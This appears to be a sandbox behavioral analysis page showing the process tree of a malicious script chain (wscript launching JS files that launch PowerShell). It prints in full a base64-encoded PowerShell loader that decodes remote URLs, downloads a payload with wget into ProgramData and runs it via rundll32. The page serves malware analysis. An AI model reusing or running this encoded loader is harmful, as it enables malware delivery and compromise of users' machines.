popup
| ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Behavioral Analysis

Process tree

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\Tlye.js

    1720

    • wscript.exe "C:\Windows\System32\wscript.exe" "C:\ProgramData\FurbishingUnderzealously.js" unoily ClassicizeNyctipithecine AdmirativelyNetherwards

      2544

      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABDAGgAZQBuAGkAZQByAEQAZQBzAGMAcgBpAHAAdABpAG8AbgBpAHMAdAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcAawBBAGIAZwBCADAAQQBHAFUAQQBjAGcAQgBpAEEARwA4AEEAYwBnAEIAdgBBAEgAVQBBAFoAdwBCAG8AQQBDADQAQQBZAGcAQgBzAEEASABVAEEAWgBRAEEAPQBXAG0AcwBoAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAUwBBAEcAVQBBAGEAUQBCAHUAQQBIAE0AQQBkAEEAQgBoAEEASABRAEEAYQBRAEIAdgBBAEcANABBAEwAZwBCAHcAQQBHAGcAQQBlAFEAQgB6AEEARwBrAEEAYgB3AEEAPQBXAG0AcwBoAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE0AQQBBAHcAQQBDADQAQQBNAFEAQQB5AEEARABVAEEATABnAEEAMgBBAEQAQQBBAEwAZwBBADMAQQBEAEEAQQAiADsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAzADsAJABNAGUAdABhAGwAbQBhAHIAawAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE4AUQBBAHgAQQBDADQAQQBNAFEAQQAwAEEARABFAEEATABnAEEAeQBBAEQAVQBBAE0AUQBBAHUAQQBEAEUAQQBPAFEAQQAxAEEAQQA9AD0AIgA7ACQAQwBvAGwAZQBjAGEAbgBuAG8AbgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE4AQQBBAHoAQQBDADQAQQBNAFEAQQB4AEEARABnAEEATABnAEEAeQBBAEQAQQBBAE8AUQBBAHUAQQBEAEUAQQBPAEEAQQA1AEEAQQA9AD0AZgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBNAEEAQQA1AEEAQwA0AEEATQBRAEEANQBBAEQAUQBBAEwAZwBBADIAQQBEAFkAQQBMAGcAQQB5AEEARABBAEEATgBnAEEAPQBmAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAdgBBAEcAMABBAGIAZwBCAHAAQQBIAFkAQQBiAHcAQgB5AEEARwBFAEEAWQB3AEIAcABBAEcAOABBAGQAUQBCAHoAQQBDADQAQQBZAHcAQgB2AEEAQQA9AD0AZgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFADgAQQBkAGcAQgBwAEEARwBRAEEAYQBRAEIAaABBAEcANABBAFQAZwBCAGwAQQBIAE0AQQBjAHcAQgBzAEEARwBVAEEAYwBnAEIAcABBAEgAbwBBAFoAUQBBAHUAQQBIAE0AQQBZAFEAQgB5AEEARwB3AEEAIgA7ACQAbgBvAG4AcwBhAHQAaQByAGkAYwBhAGwAbgBlAHMAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE0AQQBBAHkAQQBDADQAQQBNAFEAQQA1AEEARABRAEEATABnAEEAeABBAEQAUQBBAE0AZwBBAHUAQQBEAEUAQQBOAHcAQQA0AEEAQQA9AD0AYwBxAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMQBBAEQAawBBAEwAZwBBAHgAQQBEAEEAQQBOAEEAQQB1AEEARABFAEEATgB3AEEAegBBAEMANABBAE0AZwBBADEAQQBEAFEAQQBjAHEAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBuAEEARwBFAEEAYgBRAEIAdABBAEcARQBBAGMAZwBCAHAAQQBHAFEAQQBZAFEAQgBsAEEARQBRAEEAYwBnAEIAdgBBAEcAMABBAFkAUQBCAGwAQQBHADgAQQBaAHcAQgB1AEEARwBFAEEAZABBAEIAbwBBAEcAOABBAGQAUQBCAHoAQQBDADQAQQBiAEEAQgBoAEEAQQA9AD0AIgA7ACQAUABoAG8AdABvAGEAbABnAHIAYQBwAGgAeQBCAGEAYwBhAGIAYQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAYwBBAE4AZwBBAHUAQQBEAEUAQQBNAGcAQQAwAEEAQwA0AEEATQBRAEEANQBBAEQAZwBBAEwAZwBBAHkAQQBEAEUAQQBNAHcAQQB2AEEARQBZAEEAYwB3AEEANABBAEYAQQBBAGUAUQBBAHYAQQBEAGMAQQBTAGcAQgBqAEEARABVAEEATgBRAEEAegBBAEQAZwBBAGEAUQBCADQAQQBFAGcAQQBPAFEAQQA9AGQAPQB0AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAQQBBAE8AUQBBAHUAQQBEAEUAQQBOAHcAQQB5AEEAQwA0AEEATgBBAEEAMQBBAEMANABBAE4AdwBBADUAQQBDADgAQQBVAEEAQgBzAEEARQB3AEEATgBBAEIAdABBAEYAVQBBAEwAdwBCAG4AQQBFAEkAQQBNAEEAQgBDAEEARwBRAEEATgB3AEIAMABBAEcAMABBAFQAQQBCAHoAQQBHAG8AQQBSAFEAQQA9AGQAPQB0AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAYwBBAE4AZwBBAHUAQQBEAEUAQQBNAGcAQQAwAEEAQwA0AEEATQBRAEEANQBBAEQAZwBBAEwAZwBBAHkAQQBEAEUAQQBNAGcAQQB2AEEASABNAEEATQBBAEIAQgBBAEMAOABBAGMAZwBCAEYAQQBFAGsAQQBRAGcAQQAyAEEASABrAEEAIgA7AGYAbwByAGUAYQBjAGgAIAAoACQAbABhAG4AZwB1AGEAZwBlAHMAIABpAG4AIAAkAFAAaABvAHQAbwBhAGwAZwByAGEAcABoAHkAQgBhAGMAYQBiAGEAIAAtAHMAcABsAGkAdAAgACIAZAA9AHQAIgApACAAewAkAG0AYQBpAGwAaQBlAEgAdQBtAGEAbgBrAGkAbgBkACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBZAEEAYgBBAEIAaABBAEcAYwBBAGMAZwBCAHYAQQBHADgAQQBkAEEAQQB1AEEARwAwAEEAYwB3AEEAPQAiADsAdAByAHkAIAB7ACQAcABpAGMAawBlAHIAZQBsAEIAbwB0AGMAaABpAGUAcgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAegBBAEcAVQBBAGIAUQBCAHAAQQBHAFEAQQBaAFEAQgB6AEEARwBVAEEAYwBnAEIAMABBAEMANABBAGIAUQBCAHYAQQBIAEkAQQBkAEEAQgBuAEEARwBFAEEAWgB3AEIAbABBAEEAPQA9ACIAOwAkAEEAbgB0AGkAcAByAGEAZwBtAGEAdABpAGMAaQBzAG0AUwB1AHAAZQByAHMAZQBuAHMAaQB0AGkAcwBhAHQAaQBvAG4AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAbABhAG4AZwB1AGEAZwBlAHMAKQApADsAdwBnAGUAdAAgACQAQQBuAHQAaQBwAHIAYQBnAG0AYQB0AGkAYwBpAHMAbQBTAHUAcABlAHIAcwBlAG4AcwBpAHQAaQBzAGEAdABpAG8AbgAgAC0ATwAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABTAGMAYQB0AHQAZQByAHAAbABvAHQATQBlAHQAaABvAGQAbwBsAG8AZwBpAGMAYQBsAGwAeQAuAHQAdwBlAGEAawBpAGUAcgBUAHUAdAB0AGkAbgBnADsAJABjAGgAYQBsAGMAaQBkAGkAYQBuAEMAYQBsAHYAYQBpAHIAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAYwBBAE0AdwBBAHUAQQBEAGsAQQBNAFEAQQB1AEEARABVAEEATwBBAEEAdQBBAEQASQBBAE4AQQBBAHcAQQBBAD0APQBYAEgAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABBAEEAYwBnAEIAbABBAEcATQBBAFkAUQBCAHcAQQBHAGsAQQBkAEEAQgBoAEEARwB3AEEAYQBRAEIAegBBAEgAUQBBAEwAZwBCAGoAQQBHADgAQQAiADsAJABwAGgAbwB0AG8AdAB5AHAAZQBQAHIAbwBzAG8AcABvAHAAbwBlAGkAYQBsACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABZAEEATQBRAEEAdQBBAEQARQBBAE4AQQBBADMAQQBDADQAQQBNAFEAQQB3AEEARABFAEEATABnAEEAeABBAEQAZwBBAE0AQQBBAD0AIgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwBjAGEAdAB0AGUAcgBwAGwAbwB0AE0AZQB0AGgAbwBkAG8AbABvAGcAaQBjAGEAbABsAHkALgB0AHcAZQBhAGsAaQBlAHIAVAB1AHQAdABpAG4AZwApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADIANAAzADIANwA0ACkAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEASgBBAEIAbABBAEcANABBAGQAZwBBADYAQQBGAEEAQQBjAGcAQgB2AEEARwBjAEEAYwBnAEIAaABBAEcAMABBAFIAQQBCAGgAQQBIAFEAQQBZAFEAQgBjAEEARgBNAEEAWQB3AEIAaABBAEgAUQBBAGQAQQBCAGwAQQBIAEkAQQBjAEEAQgBzAEEARwA4AEEAZABBAEIATgBBAEcAVQBBAGQAQQBCAG8AQQBHADgAQQBaAEEAQgB2AEEARwB3AEEAYgB3AEIAbgBBAEcAawBBAFkAdwBCAGgAQQBHAHcAQQBiAEEAQgA1AEEAQwA0AEEAZABBAEIAMwBBAEcAVQBBAFkAUQBCAHIAQQBHAGsAQQBaAFEAQgB5AEEARgBRAEEAZABRAEIAMABBAEgAUQBBAGEAUQBCAHUAQQBHAGMAQQBMAEEAQgAyAEEARwBrAEEAYwBBAEIAegBBAEQAcwBBAGMAdwBCAHMAQQBHAEUAQQBZAHcAQgByAEEAQwA0AEEAWQB3AEIAdgBBAEcAMABBACIAOwAkAFQAZQByAHIAYQBxAHUAZQBhAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADQAQQBEAFkAQQBMAGcAQQB5AEEARABBAEEATgBRAEEAdQBBAEQARQBBAE4AZwBBAHkAQQBDADQAQQBOAGcAQQB3AEEAQQA9AD0ASwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBNAFEAQQB5AEEAQwA0AEEATgBnAEEANQBBAEMANABBAE0AUQBBAHkAQQBEAFEAQQBMAGcAQQAzAEEARABBAEEASwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBNAEEAQQB5AEEAQwA0AEEATQBnAEEAdwBBAEQARQBBAEwAZwBBAHkAQQBEAEUAQQBOAFEAQQB1AEEARABJAEEATQBnAEEAdwBBAEEAPQA9AEsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABRAEEATQB3AEEAdQBBAEQASQBBAE4AQQBBAHgAQQBDADQAQQBNAFEAQQB6AEEARABJAEEATABnAEEAMQBBAEQAYwBBACIAOwAkAGQAaQBuAG4AZQByAHcAYQByAGUAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAEUAQQBiAFEAQgA1AEEARwBjAEEAWgBBAEIAaABBAEcAdwBBAGIAdwBCADAAQQBHADgAQQBiAFEAQgBsAEEARQBnAEEAYgB3AEIAdABBAEcAVQBBAGIAdwBCAHAAQQBHAFEAQQBZAFEAQgBzAEEAQwA0AEEAWQB3AEIAdgBBAEcAMABBAGMAQQBCADEAQQBIAFEAQQBaAFEAQgB5AEEAQQA9AD0AVQBVAFUAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB3AEEARwB3AEEAWQBRAEIAegBBAEgAUQBBAGEAUQBCAGoAQQBHAGsAQQBlAGcAQgBsAEEASABJAEEATABnAEIAMABBAEgASQBBAFkAUQBCAGsAQQBHAFUAQQBVAFUAVQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEUAQQBkAFEAQgBoAEEASABNAEEAYQBRAEIAdgBBAEgASQBBAFoAQQBCAGwAQQBIAEkAQQBVAHcAQgAxAEEARwBJAEEAYQBnAEIAdgBBAEcAawBBAGIAZwBCAGsAQQBHAFUAQQBjAGcAQQB1AEEARwBrAEEAYgBnAEIAegBBAEgAVQBBAGMAZwBCAGwAQQBBAD0APQBVAFUAVQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBNAFEAQQAwAEEAQwA0AEEATQBRAEEAegBBAEQAawBBAEwAZwBBAHgAQQBEAFEAQQBOAHcAQQB1AEEARABVAEEATwBRAEEAPQAiADsAJABBAG0AYgBpAHMAZQB4AHUAYQBsACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABJAEEATQBRAEEAdQBBAEQARQBBAE0AUQBBADAAQQBDADQAQQBNAGcAQQB3AEEARABnAEEATABnAEEAeABBAEQATQBBAE4AdwBBAD0AIgA7AGIAcgBlAGEAawA7AH0AfQAgAGMAYQB0AGMAaAAgAHsAJABVAG4AZABlAHIAbQBhAG4AYQBnAGUAcgBQAHMAZQB1AGQAbwByAGEAYwBlAG0AaQBzAG0AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAFQAQQBHADgAQQBiAEEAQgBzAEEARwBrAEEAWQB3AEIAcgBBAEcAVQBBAGMAZwBCAFAAQQBIAFkAQQBaAFEAQgB5AEEARwBZAEEAWQBRAEIAMABBAEgAUQBBAFoAUQBCAHUAQQBDADQAQQBaAEEAQgBoAEEASABRAEEAYQBRAEIAdQBBAEcAYwBBAEoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBEAEEASABVAEEAYgBRAEIAMQBBAEcAdwBBAFkAUQBCADAAQQBHAGsAQQBkAGcAQgBsAEEAQwA0AEEAWQB3AEIAdgBBAEcAOABBAGIAQQBBAD0ASgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEUAQQBNAFEAQQB1AEEARABjAEEATQBRAEEAdQBBAEQARQBBAE4AUQBBADMAQQBDADQAQQBNAGcAQQB6AEEARABFAEEAIgA7ACQAZABpAHAAZQBuAHQAZQBuAGUATQBlAGQAdQBzAGEAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAGcAQQBOAEEAQQB1AEEARABjAEEATQB3AEEAdQBBAEQARQBBAE0AUQBBADUAQQBDADQAQQBOAFEAQQB6AEEAQQA9AD0AdgBoAHQASgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHADAAQQBlAFEAQgA0AEEARwA4AEEAZABnAEIAcABBAEgASQBBAGQAUQBCAHoAQQBFAGcAQQBaAFEAQgB2AEEASABJAEEAZABBAEIAdgBBAEcAdwBBAGIAdwBCAG4AQQBIAGsAQQBMAGcAQgBqAEEARwA4AEEAZABRAEIAeQBBAEgATQBBAFoAUQBCAHoAQQBBAD0APQB2AGgAdABKAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAawBBAE0AZwBBAHUAQQBEAEUAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMgBBAEQAUQBBAEwAZwBBADQAQQBEAFEAQQAiADsAfQB9ACQASgBlAHIAawBpAHMAaAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE8AQQBBADMAQQBDADQAQQBNAFEAQQAyAEEARABNAEEATABnAEEAeABBAEQAUQBBAE4AdwBBAHUAQQBEAEUAQQBOAHcAQQA1AEEAQQA9AD0AIgA7AA=="

        2660

Process contents

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID
default registry file network process services synchronisation iexplore office pdf